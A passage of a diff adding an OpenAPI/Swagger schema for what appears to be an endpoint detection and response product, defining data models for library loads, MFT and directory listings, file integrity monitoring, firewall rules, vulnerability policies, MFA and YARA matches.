+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - controlset
+      - first_launch
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - last_launch
+      - legacy_name
+      - present
+      - service_name
+      - tenant
+    type: object
+  Level:
+    properties:
+      data:
+        items:
+          type: integer
+        type: array
+      label:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - data
+      - label
+    type: object
+  Library:
+    properties:
+      approximate_last_seen:
+        format: date-time
+        title: Approximate last seen
+        type: string
+      downloaded:
+        title: Downloaded
+        type: integer
+      downloaded_date:
+        format: date-time
+        title: Downloaded date
+        type: string
+      first_seen:
+        format: date-time
+        title: First seen
+        type: string
+      hashes:
+        $ref: '#/definitions/Hashes'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      names:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      ostype:
+        minLength: 1
+        title: Ostype
+        type: string
+      paths:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      pe_info:
+        $ref: '#/definitions/PEInfo'
+      signature_info:
+        $ref: '#/definitions/SignatureInfo'
+      signed:
+        title: Signed
+        type: boolean
+      size:
+        title: Size
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - approximate_last_seen
+      - downloaded
+      - downloaded_date
+      - first_seen
+      - hashes
+      - id
+      - names
+      - ostype
+      - paths
+      - pe_info
+      - signature_info
+      - signed
+      - size
+      - tenant
+    type: object
+  LibraryLoad:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      dotnet_info:
+        $ref: '#/definitions/DotnetInfo'
+      event_id:
+        title: Event id
+        type: integer
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      hashes:
+        $ref: '#/definitions/Hashes'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      image_base:
+        title: Image base
+        type: integer
+      library_path:
+        minLength: 1
+        title: Library path
+        type: string
+      library_type:
+        minLength: 1
+        title: Library type
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pe_info:
+        $ref: '#/definitions/PEInfo'
+      pid:
+        title: Pid
+        type: integer
+      process_image_path:
+        minLength: 1
+        title: Process image path
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      signature_info:
+        $ref: '#/definitions/SignatureInfo'
+      signed:
+        title: Signed
+        type: boolean
+      size:
+        title: Size
+        type: integer
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - dotnet_info
+      - event_id
+      - groups
+      - hashes
+      - id
+      - image_base
+      - library_path
+      - library_type
+      - log_type
+      - pe_info
+      - pid
+      - process_image_path
+      - process_unique_id
+      - signature_info
+      - signed
+      - size
+      - stacktrace
+      - stacktrace_minimal
+      - tenant
+      - utc_time
+    type: object
+  ListAntivirusPolicy:
+    properties:
+      agent_count:
+        readOnly: true
+        title: Agent count
+        type: integer
+      antivirus_slug:
+        minLength: 1
+        readOnly: true
+        title: Antivirus slug
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      description:
+        minLength: 1
+        readOnly: true
+        title: Description
+        type: string
+        x-nullable: true
+      hurukaiav:
+        $ref: '#/definitions/HlAntivirus'
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      revision:
+        readOnly: true
+        title: Revision
+        type: integer
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      windowsdefender:
+        $ref: '#/definitions/WindowsDefender'
+    required:
+      - last_modifier
+    type: object
+  ListDir:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      ads:
+        title: Ads
+        type: boolean
+      agent:
+        $ref: '#/definitions/DataAgent'
+      atime:
+        format: date-time
+        title: Atime
+        type: string
+      crtime:
+        format: date-time
+        title: Crtime
+        type: string
+      ctime:
+        format: date-time
+        title: Ctime
+        type: string
+      filetype:
+        title: Filetype
+        type: integer
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      is_hidden:
+        title: Is hidden
+        type: boolean
+      is_system:
+        title: Is system
+        type: boolean
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      md5:
+        minLength: 1
+        title: Md5
+        type: string
+      mtime:
+        format: date-time
+        title: Mtime
+        type: string
+      owner:
+        minLength: 1
+        title: Owner
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      sha1:
+        minLength: 1
+        title: Sha1
+        type: string
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+      size:
+        title: Size
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - ads
+      - agent
+      - atime
+      - crtime
+      - ctime
+      - filetype
+      - id
+      - is_hidden
+      - is_system
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - md5
+      - mtime
+      - owner
+      - path
+      - sha1
+      - sha256
+      - size
+      - tenant
+    type: object
+  ListDirectory:
+    properties:
+      compute_hashes:
+        default: true
+        title: Compute hashes
+        type: boolean
+      directory:
+        minLength: 1
+        title: Directory
+        type: string
+      recursive:
+        title: Recursive
+        type: boolean
+    required:
+      - directory
+      - recursive
+    type: object
+  ListFIMFileModification:
+    properties:
+      agent:
+        $ref: '#/definitions/MinimalAgentInfo'
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      current_access_mode:
+        readOnly: true
+        title: Current access mode
+        type: integer
+        x-nullable: true
+      current_entry_type:
+        enum:
+          - directory
+          - file
+        readOnly: true
+        title: Current entry type
+        type: string
+      current_gid:
+        readOnly: true
+        title: Current gid
+        type: integer
+        x-nullable: true
+      current_hash:
+        minLength: 1
+        readOnly: true
+        title: Current hash
+        type: string
+        x-nullable: true
+      current_last_change_time:
+        format: date-time
+        readOnly: true
+        title: Current last change time
+        type: string
+        x-nullable: true
+      current_last_modification_time:
+        format: date-time
+        readOnly: true
+        title: Current last modification time
+        type: string
+        x-nullable: true
+      current_size:
+        readOnly: true
+        title: Current size
+        type: integer
+        x-nullable: true
+      current_uid:
+        readOnly: true
+        title: Current uid
+        type: integer
+        x-nullable: true
+      fim_policy:
+        $ref: '#/definitions/MinimalFIMPolicy'
+      highest_criticality:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        readOnly: true
+        title: Highest criticality
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        readOnly: true
+        title: Last modifier
+        type: integer
+        x-nullable: true
+      last_scan_with_changes:
+        format: date-time
+        readOnly: true
+        title: Last scan with changes
+        type: string
+        x-nullable: true
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      ostype:
+        enum:
+          - linux
+          - macos
+          - windows
+        readOnly: true
+        title: Ostype
+        type: string
+      path:
+        minLength: 1
+        readOnly: true
+        title: Path
+        type: string
+      previous_access_mode:
+        readOnly: true
+        title: Previous access mode
+        type: integer
+        x-nullable: true
+      previous_entry_type:
+        enum:
+          - directory
+          - file
+        readOnly: true
+        title: Previous entry type
+        type: string
+      previous_gid:
+        readOnly: true
+        title: Previous gid
+        type: integer
+        x-nullable: true
+      previous_hash:
+        minLength: 1
+        readOnly: true
+        title: Previous hash
+        type: string
+        x-nullable: true
+      previous_last_change_time:
+        format: date-time
+        readOnly: true
+        title: Previous last change time
+        type: string
+        x-nullable: true
+      previous_last_modification_time:
+        format: date-time
+        readOnly: true
+        title: Previous last modification time
+        type: string
+        x-nullable: true
+      previous_size:
+        readOnly: true
+        title: Previous size
+        type: integer
+        x-nullable: true
+      previous_uid:
+        readOnly: true
+        title: Previous uid
+        type: integer
+        x-nullable: true
+      report_id:
+        format: uuid
+        title: Report id
+        type: string
+      status:
+        enum:
+          - accepted
+          - not reviewed
+          - rejected
+        readOnly: true
+        title: Status
+        type: string
+      type:
+        enum:
+          - content
+          - creation
+          - deletion
+          - error
+          - initialization
+          - metadata
+          - metadata and content
+          - type change
+        readOnly: true
+        title: Type
+        type: string
+    required:
+      - report_id
+    type: object
+  ListFIMPathExclusion:
+    properties:
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      enabled:
+        readOnly: true
+        title: Enabled
+        type: boolean
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      os_type:
+        enum:
+          - linux
+          - macos
+          - windows
+        readOnly: true
+        title: Os type
+        type: string
+      path:
+        minLength: 1
+        readOnly: true
+        title: Path
+        type: string
+      path_type:
+        enum:
+          - directory
+          - file
+          - recursive_directory
+        readOnly: true
+        title: Path type
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    type: object
+  ListFIMPathInclusion:
+    properties:
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      criticality:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        readOnly: true
+        title: Criticality
+        type: string
+      enabled:
+        readOnly: true
+        title: Enabled
+        type: boolean
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      os_type:
+        enum:
+          - linux
+          - macos
+          - windows
+        readOnly: true
+        title: Os type
+        type: string
+      path:
+        minLength: 1
+        readOnly: true
+        title: Path
+        type: string
+      path_type:
+        enum:
+          - directory
+          - file
+          - recursive_directory
+        readOnly: true
+        title: Path type
+        type: string
+      scan_type:
+        enum:
+          - content
+          - metadata
+          - metadata and content
+        readOnly: true
+        title: Scan type
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    type: object
+  ListFIMPolicy:
+    properties:
+      agent_policies:
+        items:
+          $ref: '#/definitions/MinimalPolicy'
+        readOnly: true
+        type: array
+      description:
+        minLength: 1
+        readOnly: true
+        title: Description
+        type: string
+        x-nullable: true
+      endpoints_count:
+        readOnly: true
+        title: Endpoints count
+        type: integer
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      revision:
+        readOnly: true
+        title: Revision
+        type: integer
+      rule_highest_level:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        readOnly: true
+        title: Rule highest level
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    type: object
+  ListFIMReport:
+    properties:
+      agents:
+        items:
+          $ref: '#/definitions/MinimalAgentInfo'
+        readOnly: true
+        type: array
+      covered_endpoints_count:
+        readOnly: true
+        title: Covered endpoints count
+        type: integer
+      critical_level_count:
+        readOnly: true
+        title: Critical level count
+        type: integer
+      fim_policy:
+        $ref: '#/definitions/MinimalFIMPolicy'
+      high_level_count:
+        readOnly: true
+        title: High level count
+        type: integer
+      highest_criticality:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        readOnly: true
+        title: Highest criticality
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      last_modification_date:
+        format: date-time
+        readOnly: true
+        title: Last modification date
+        type: string
+        x-nullable: true
+      last_modifier:
+        readOnly: true
+        title: Last modifier
+        type: integer
+        x-nullable: true
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      low_level_count:
+        readOnly: true
+        title: Low level count
+        type: integer
+      medium_level_count:
+        readOnly: true
+        title: Medium level count
+        type: integer
+      modifications_accepted_count:
+        readOnly: true
+        title: Modifications accepted count
+        type: integer
+      modifications_count:
+        readOnly: true
+        title: Modifications count
+        type: integer
+      modifications_not_reviewed_count:
+        readOnly: true
+        title: Modifications not reviewed count
+        type: integer
+      modifications_rejected_count:
+        readOnly: true
+        title: Modifications rejected count
+        type: integer
+      modified_endpoints_count:
+        readOnly: true
+        title: Modified endpoints count
+        type: integer
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      report_date:
+        format: date-time
+        readOnly: true
+        title: Report date
+        type: string
+        x-nullable: true
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - fim_policy
+    type: object
+  ListFirewallNetwork:
+    properties:
+      blocks_count:
+        readOnly: true
+        title: Blocks count
+        type: integer
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      endpoints_count:
+        readOnly: true
+        title: Endpoints count
+        type: integer
+      id:
+        format: uuid
+        title: Id
+        type: string
+      name:
+        maxLength: 256
+        title: Name
+        type: string
+        x-nullable: true
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      policies_count:
+        readOnly: true
+        title: Policies count
+        type: integer
+      rules_count:
+        readOnly: true
+        title: Rules count
+        type: integer
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    type: object
+  ListFirewallPolicy:
+    properties:
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      endpoints_count:
+        readOnly: true
+        title: Endpoints count
+        type: integer
+      id:
+        format: uuid
+        title: Id
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      network_zones_count:
+        readOnly: true
+        title: Network zones count
+        type: integer
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      revision:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Revision
+        type: integer
+      rules_count:
+        readOnly: true
+        title: Rules count
+        type: integer
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - name
+    type: object
+  ListFirewallRule:
+    properties:
+      action:
+        enum:
+          - Allow
+          - Drop
+          - Reject
+        title: Action
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      direction:
+        enum:
+          - Both
+          - In
+          - Out
+        title: Direction
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      id:
+        format: uuid
+        title: Id
+        type: string
+      index:
+        maximum: 2147483647
+        minimum: 0
+        title: Index
+        type: integer
+      ip_version:
+        enum:
+          - Both
+          - IPv4
+          - IPv6
+        title: Ip version
+        type: string
+      local_application:
+        maxLength: 256
+        title: Local application
+        type: string
+        x-nullable: true
+      local_ip:
+        readOnly: true
+        title: Local ip
+        type: string
+        x-nullable: true
+      local_ports:
+        readOnly: true
+        title: Local ports
+        type: string
+        x-nullable: true
+      name:
+        maxLength: 256
+        title: Name
+        type: string
+        x-nullable: true
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      profile_id:
+        format: uuid
+        title: Profile id
+        type: string
+      protocol:
+        enum:
+          - ICMP
+          - IPV6_ICMP
+          - TCP
+          - UDP
+        title: Protocol
+        type: string
+        x-nullable: true
+      remote_ip:
+        readOnly: true
+        title: Remote ip
+        type: string
+        x-nullable: true
+      remote_ports:
+        readOnly: true
+        title: Remote ports
+        type: string
+        x-nullable: true
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - index
+      - profile_id
+    type: object
+  ListVulnerabilityPolicy:
+    properties:
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      enabled_cves_count_critical:
+        readOnly: true
+        title: Enabled cves count critical
+        type: integer
+      enabled_cves_count_high:
+        readOnly: true
+        title: Enabled cves count high
+        type: integer
+      enabled_cves_count_low:
+        readOnly: true
+        title: Enabled cves count low
+        type: integer
+      enabled_cves_count_medium:
+        readOnly: true
+        title: Enabled cves count medium
+        type: integer
+      endpoints_count:
+        readOnly: true
+        title: Endpoints count
+        type: integer
+      id:
+        format: uuid
+        title: Id
+        type: string
+      linked_endpoint_policies_count:
+        readOnly: true
+        title: Linked endpoint policies count
+        type: integer
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  LnkInfo:
+    properties:
+      file_path:
+        minLength: 1
+        title: File path
+        type: string
+    required:
+      - file_path
+    type: object
+  LnkReport:
+    properties:
+      arguments:
+        minLength: 1
+        title: Arguments
+        type: string
+      base_network:
+        minLength: 1
+        title: Base network
+        type: string
+      base_path:
+        minLength: 1
+        title: Base path
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      remaining_path:
+        minLength: 1
+        title: Remaining path
+        type: string
+    required:
+      - arguments
+      - base_network
+      - base_path
+      - path
+      - remaining_path
+    type: object
+  LogLevelStat:
+    properties:
+      DEBUG:
+        title: Debug
+        type: integer
+      ERROR:
+        title: Error
+        type: integer
+      INFO:
+        title: Info
+        type: integer
+      WARNING:
+        title: Warning
+        type: integer
+    required:
+      - DEBUG
+      - ERROR
+      - INFO
+      - WARNING
+    type: object
+  Logs:
+    properties:
+      logs:
+        minLength: 1
+        title: Logs
+        type: string
+    required:
+      - logs
+    type: object
+  MFA:
+    properties:
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+    type: object
+  MFAEnableByUser:
+    properties:
+      enabled:
+        default: DISABLED
+        enum:
+          - DISABLED
+          - ENABLED
+        title: Enabled
+        type: string
+      ids:
+        items:
+          type: string
+          x-nullable: true
+        type: array
+    type: object
+  MFAMethodActivationConfirmationValidator:
+    properties:
+      code:
+        minLength: 1
+        title: Code
+        type: string
+    required:
+      - code
+    type: object
+  MFAMethodCode:
+    properties:
+      method:
+        maxLength: 255
+        minLength: 1
+        title: Method
+        type: string
+    type: object
+  MFT:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      children_count:
+        title: Children count
+        type: integer
+      companyname:
+        minLength: 1
+        title: Companyname
+        type: string
+      dentrytype:
+        minLength: 1
+        title: Dentrytype
+        type: string
+      filedescription:
+        minLength: 1
+        title: Filedescription
+        type: string
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+      filename_extension:
+        minLength: 1
+        title: Filename extension
+        type: string
+      fileversion:
+        minLength: 1
+        title: Fileversion
+        type: string
+      firstbytes:
+        minLength: 1
+        title: Firstbytes
+        type: string
+      fn_atime:
+        format: date-time
+        title: Fn atime
+        type: string
+      fn_crtime:
+        format: date-time
+        title: Fn crtime
+        type: string
+      fn_ctime:
+        format: date-time
+        title: Fn ctime
+        type: string
+      fn_mtime:
+        format: date-time
+        title: Fn mtime
+        type: string
+      fullpath:
+        minLength: 1
+        title: Fullpath
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      inode:
+        minLength: 1
+        title: Inode
+        type: string
+      inodetype:
+        minLength: 1
+        title: Inodetype
+        type: string
+      internalname:
+        minLength: 1
+        title: Internalname
+        type: string
+      inuse:
+        title: Inuse
+        type: boolean
+      isads:
+        title: Isads
+        type: boolean
+      iscatalogsigned:
+        title: Iscatalogsigned
+        type: boolean
+      ishidden:
+        title: Ishidden
+        type: boolean
+      isro:
+        description: Is Read-Only
+        title: Isro
+        type: boolean
+      issigned:
+        title: Issigned
+        type: boolean
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      legalcopyright:
+        minLength: 1
+        title: Legalcopyright
+        type: string
+      md5:
+        minLength: 1
+        title: Md5
+        type: string
+      mountpoint:
+        minLength: 1
+        title: Mountpoint
+        type: string
+      originalfilename:
+        minLength: 1
+        title: Originalfilename
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      perms:
+        minLength: 1
+        title: Perms
+        type: string
+      productname:
+        minLength: 1
+        title: Productname
+        type: string
+      productversion:
+        minLength: 1
+        title: Productversion
+        type: string
+      rootdisplayname:
+        minLength: 1
+        title: Rootdisplayname
+        type: string
+      rootissuername:
+        minLength: 1
+        title: Rootissuername
+        type: string
+      rootserialnumber:
+        minLength: 1
+        title: Rootserialnumber
+        type: string
+      rootthumbprint:
+        minLength: 1
+        title: Rootthumbprint
+        type: string
+      seq:
+        title: Seq
+        type: integer
+      sha1:
+        minLength: 1
+        title: Sha1
+        type: string
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+      si_atime:
+        format: date-time
+        title: Si atime
+        type: string
+      si_crtime:
+        format: date-time
+        title: Si crtime
+        type: string
+      si_ctime:
+        format: date-time
+        title: Si ctime
+        type: string
+      si_mtime:
+        format: date-time
+        title: Si mtime
+        type: string
+      signerdisplayname:
+        minLength: 1
+        title: Signerdisplayname
+        type: string
+      signerissuername:
+        minLength: 1
+        title: Signerissuername
+        type: string
+      signerserialnumber:
+        minLength: 1
+        title: Signerserialnumber
+        type: string
+      signerthumbprint:
+        minLength: 1
+        title: Signerthumbprint
+        type: string
+      size:
+        title: Size
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      volumename:
+        minLength: 1
+        title: Volumename
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - children_count
+      - companyname
+      - dentrytype
+      - filedescription
+      - filename
+      - filename_extension
+      - fileversion
+      - firstbytes
+      - fn_atime
+      - fn_crtime
+      - fn_ctime
+      - fn_mtime
+      - fullpath
+      - id
+      - inode
+      - inodetype
+      - internalname
+      - inuse
+      - isads
+      - iscatalogsigned
+      - ishidden
+      - isro
+      - issigned
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - legalcopyright
+      - md5
+      - mountpoint
+      - originalfilename
+      - path
+      - perms
+      - productname
+      - productversion
+      - rootdisplayname
+      - rootissuername
+      - rootserialnumber
+      - rootthumbprint
+      - seq
+      - sha1
+      - sha256
+      - si_atime
+      - si_crtime
+      - si_ctime
+      - si_mtime
+      - signerdisplayname
+      - signerissuername
+      - signerserialnumber
+      - signerthumbprint
+      - size
+      - tenant
+      - volumename
+    type: object
+  MFTAgent:
+    properties:
+      agentid:
+        minLength: 1
+        title: Agentid
+        type: string
+      domainname:
+        minLength: 1
+        title: Domainname
+        type: string
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+      osproducttype:
+        minLength: 1
+        title: Osproducttype
+        type: string
+      ostype:
+        minLength: 1
+        title: Ostype
+        type: string
+      osversion:
+        minLength: 1
+        title: Osversion
+        type: string
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - agentid
+    type: object
+  MFTGetDirectoryResponse:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/MFTAgent'
+      dentrytype:
+        minLength: 1
+        title: Dentrytype
+        type: string
+      filedescription:
+        minLength: 1
+        title: Filedescription
+        type: string
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+      filename_extension:
+        minLength: 1
+        title: Filename extension
+        type: string
+      fn_atime:
+        format: date-time
+        title: Fn atime
+        type: string
+      fn_crtime:
+        format: date-time
+        title: Fn crtime
+        type: string
+      fn_ctime:
+        format: date-time
+        title: Fn ctime
+        type: string
+      fn_mtime:
+        format: date-time
+        title: Fn mtime
+        type: string
+      fullpath:
+        minLength: 1
+        title: Fullpath
+        type: string
+      inode:
+        minLength: 1
+        title: Inode
+        type: string
+      inodetype:
+        minLength: 1
+        title: Inodetype
+        type: string
+      inuse:
+        title: Inuse
+        type: boolean
+      isads:
+        title: Isads
+        type: boolean
+      ishidden:
+        title: Ishidden
+        type: boolean
+      isro:
+        title: Isro
+        type: boolean
+      item_status:
+        minLength: 1
+        title: Item status
+        type: string
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      mountpoint:
+        minLength: 1
+        title: Mountpoint
+        type: string
+      object_type:
+        minLength: 1
+        title: Object type
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      seq:
+        title: Seq
+        type: integer
+      si_atime:
+        format: date-time
+        title: Si atime
+        type: string
+      si_crtime:
+        format: date-time
+        title: Si crtime
+        type: string
+      si_ctime:
+        format: date-time
+        title: Si ctime
+        type: string
+      si_mtime:
+        format: date-time
+        title: Si mtime
+        type: string
+      signerdisplayname:
+        minLength: 1
+        title: Signerdisplayname
+        type: string
+      size:
+        title: Size
+        type: integer
+      tenant:
+        title: Tenant
+        type: string
+      volumename:
+        minLength: 1
+        title: Volumename
+        type: string
+    required:
+      - tenant
+    type: object
+  MachoCodeDirectory:
+    properties:
+      code_limit:
+        title: Code limit
+        type: integer
+      flags:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      hash_offset:
+        title: Hash offset
+        type: integer
+      hash_size:
+        title: Hash size
+        type: integer
+      hash_type:
+        title: Hash type
+        type: integer
+      ident:
+        minLength: 1
+        title: Ident
+        type: string
+      ident_offset:
+        title: Ident offset
+        type: integer
+      n_code_slots:
+        title: N code slots
+        type: integer
+      n_special_slots:
+        title: N special slots
+        type: integer
+      page_size:
+        title: Page size
+        type: integer
+      platform:
+        title: Platform
+        type: integer
+      spare2:
+        title: Spare2
+        type: integer
+      version:
+        title: Version
+        type: integer
+    required:
+      - code_limit
+      - flags
+      - hash_offset
+      - hash_size
+      - hash_type
+      - ident
+      - ident_offset
+      - n_code_slots
+      - n_special_slots
+      - page_size
+      - platform
+      - spare2
+      - version
+    type: object
+  MachoCodeSignature:
+    properties:
+      code_directory:
+        $ref: '#/definitions/MachoCodeDirectory'
+      entitlements:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - code_directory
+      - entitlements
+    type: object
+  MachoReport:
+    properties:
+      code_signature:
+        $ref: '#/definitions/MachoCodeSignature'
+      cpu_subtype:
+        minLength: 1
+        title: Cpu subtype
+        type: string
+      cpu_type:
+        minLength: 1
+        title: Cpu type
+        type: string
+      filetype:
+        minLength: 1
+        title: Filetype
+        type: string
+      flags:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      imports:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      load_commands:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      magic:
+        title: Magic
+        type: integer
+      nbarch:
+        title: Nbarch
+        type: integer
+      size_of_commands:
+        title: Size of commands
+        type: integer
+      uuid:
+        minLength: 1
+        title: Uuid
+        type: string
+    required:
+      - code_signature
+      - cpu_subtype
+      - cpu_type
+      - filetype
+      - flags
+      - imports
+      - load_commands
+      - magic
+      - nbarch
+      - size_of_commands
+      - uuid
+    type: object
+  MatchedYaraRule:
+    properties:
+      content:
+        minLength: 1
+        title: Content
+        type: string
+      namespace:
+        minLength: 1
+        title: Namespace
+        type: string
+      rulename:
+        minLength: 1
+        title: Rulename
+        type: string
+      source:
+        minLength: 1
+        title: Source
+        type: string
+    required:
+      - content
+      - namespace
+      - rulename
+      - source
+    type: object
+  MaterializedViewStatus:
+    properties:
+      celery_task_id:
+        maxLength: 100
+        minLength: 1
+        title: Celery task id
+        type: string
+        x-nullable: true
+      duration_minutes:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Duration minutes
+        type: integer
+        x-nullable: true
+      finished_at:
+        format: date-time
+        title: Finished at
+        type: string
+        x-nullable: true
+      status:
+        enum:
+          - Error
+          - Finished
+          - Running
+        title: Status
+        type: string
+      triggered_by:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      view_name:
+        minLength: 1
+        title: View name
+        type: string
+    required:
+      - status
+      - triggered_by
+      - view_name
+    type: object
+  MatrixTactic:
+    properties:
+      tactic:
+        minLength: 1
+        title: Tactic
+        type: string
+      techniques:
+        items:
+          $ref: '#/definitions/Technique'
+        type: array
+    required:
+      - tactic
+      - techniques
+    type: object
+  MicroSubnet:
+    properties:
+      gateway_ipaddress:
+        minLength: 1
+        title: Gateway ipaddress
+        type: string
+        x-nullable: true
+      gateway_macaddress:
+        minLength: 1
+        title: Gateway macaddress
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      last_seen:
+        format: date-time
+        title: Last seen
+        type: string
+        x-nullable: true
+      name:
+        title: Name
+        type: string
+        x-nullable: true
+    required:
+      - gateway_ipaddress
+      - gateway_macaddress
+    type: object
+  MinimalAgentInfo:
+    properties:
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+    required:
+      - hostname
+      - id
+    type: object
+  MinimalAgentInfoWithOS:
+    properties:
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      ostype:
+        enum:
+          - linux
+          - macos
+          - windows
+        title: Ostype
+        type: string
+    required:
+      - hostname
+      - id
+      - ostype
+    type: object
+  MinimalFIMPolicy:
+    properties:
+      id:
+        format: uuid
+        title: Id
